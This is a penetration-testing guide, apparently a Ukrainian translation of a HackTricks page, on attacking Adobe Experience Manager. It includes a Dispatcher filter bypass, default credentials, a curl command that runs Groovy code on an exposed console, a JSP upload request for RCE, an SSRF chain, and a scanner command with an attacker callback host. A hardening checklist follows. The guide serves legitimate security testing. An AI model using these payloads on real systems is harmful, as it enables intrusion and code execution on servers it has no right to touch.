8.4 KiB
Raw Blame History

AEM (Adobe Experience Manager) Pentesting

{{#include ../../banners/hacktricks-training.md}}

Adobe Experience Manager (AEM, частина Adobe Experience Cloud) є корпоративною CMS, яка працює на базі Apache Sling/Felix (OSGi) та Java Content Repository (JCR). З точки зору атакуючого, екземпляри AEM дуже часто відкривають небезпечні кінцеві точки розробки, слабкі правила Dispatcher, стандартні облікові дані та довгий список CVE, які виправляються щоквартально.

Список перевірки нижче зосереджується на зовнішньо доступній (без аутентифікації) атакуючій поверхні, яка постійно з'являється в реальних випадках (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Інші швидкі індикатори:

  • /etc.clientlibs/ статичний шлях присутній (повертає JS/CSS).
  • /libs/granite/core/content/login.html сторінка входу з банером “Adobe Experience Manager”.
  • </script><!--/* CQ */--> коментар внизу HTML.

2. Високоякісні неавтентифіковані кінцеві точки

Шлях Що ви отримуєте Примітки
/.json, /.1.json JCR вузли через DefaultGetServlet Часто заблоковано, але Dispatcher bypass (див. нижче) працює.
/bin/querybuilder.json?path=/ QueryBuilder API Витік дерева сторінок, внутрішні шляхи, імена користувачів.
/system/console/status-*, /system/console/bundles OSGi/Felix консоль 403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE.
/crx/packmgr/index.jsp Менеджер пакетів Дозволяє автентифіковані пакети контенту → завантаження JSP корисного навантаження.
/etc/groovyconsole/** AEM Groovy Console Якщо відкрито → довільне виконання Groovy / Java.
/libs/cq/AuditlogSearchServlet.json Журнали аудиту Розкриття інформації.
/libs/cq/ui/content/dumplibs.html Вивантаження ClientLibs Вектор XSS.

Трюк обходу Dispatcher

Більшість виробничих сайтів знаходяться за Dispatcher (реверс-проксі). Його правила фільтрації можна обійти, додавши дозволене статичне розширення після крапки з комою або закодованого нового рядка:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Один запит, як зазначено вище, часто розкриває вузли профілю користувача з адресами електронної пошти. P-T Partners опублікували хороші рекомендації щодо цієї вразливості. 【】


3. Загальні неправильні налаштування (все ще актуальні у 2025 році)

  1. Анонімний POST сервлет POST /.json з :operation=import дозволяє вам створювати нові вузли JCR. Блокування *.json POST у Dispatcher вирішує цю проблему. 【】
  2. Профілі користувачів, доступні для всіх за замовчуванням ACL надає jcr:read на /home/users/**/profile/* всім.
  3. Стандартні облікові дані admin:admin, author:author, replication:replication.
  4. WCMDebugFilter увімкнено ⇒ відображений XSS через ?debug=layout (CVE-2016-7882, все ще виявляється на застарілих установках 6.4).
  5. Відкритий Groovy Console віддалене виконання коду шляхом надсилання Groovy скрипту:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Останні вразливості (каденція сервіс-паків)

Квартал CVE Підлягає Вплив
Грудень 2024 CVE-2024-43711 6.5.21 та раніше Неправильна валідація введення → Випадкове виконання коду (вимагає авторизації з низькими привілеями). 【】
Грудень 2024 CVE-2024-43724/26 6.5.21 та раніше DOM / Збережений XSS у Move Page Wizard. 【】
Грудень 2023 CVE-2023-48452/68 ≤ 6.5.18 XSS на основі DOM через спеціально підготовлене URL. 【】
Грудень 2022 CVE-2022-30683 ≤ 6.5.13 Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】

Завжди перевіряйте бюлетень APSB, що відповідає сервіс-паку клієнта, і запитуйте останній 6.5.22 або Cloud Service 2024.11.


5. Фрагменти експлуатації

5.1 RCE через обхід диспетчера + завантаження JSP

Якщо анонімний запис можливий:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Тепер запитайте /content/evil.jsp JSP виконується з користувачем процесу AEM.

5.2 SSRF до RCE (історичний < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py з aem-hacker автоматизує весь ланцюг. 【】


6. Інструменти

  • aem-hacker скрипт для енумерації, підтримує обхід диспетчера, виявлення SSRF, перевірки стандартних облікових записів та інше.
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force**  рекурсивно запитувати `/_jcr_content.(json|html)`, щоб виявити приховані компоненти.
* **osgi-infect**  завантажити шкідливий OSGi пакет через `/system/console/bundles`, якщо доступні облікові дані.

---

## 7. Контрольний список посилення безпеки (для рекомендацій у вашому звіті)

1. Тримайте інстанцію на **останній кумулятивній службі** (на липень 2025: 6.5.22).
2. Видаліть/змініть стандартні облікові записи; впровадьте SSO/SAML.
3. Посиліть **фільтри диспетчера**  забороніть `;`, закодовані нові рядки та `*.json` або `*.querybuilder.json` для анонімних користувачів.
4. Вимкніть або захистіть консолі (`/system/console`, `/crx/*`, `/etc/groovyconsole`) за допомогою списків дозволених IP.
5. Застосуйте пакет *Anonymous Permission Hardening*, надісланий Adobe.

## Посилання

* Adobe Security Bulletin APSB24-69  “Оновлення безпеки для Adobe Experience Manager (грудень 2024)”.
* 0ang3el  інструмент aem-hacker (GitHub).
{{#include ../../banners/hacktricks-training.md}}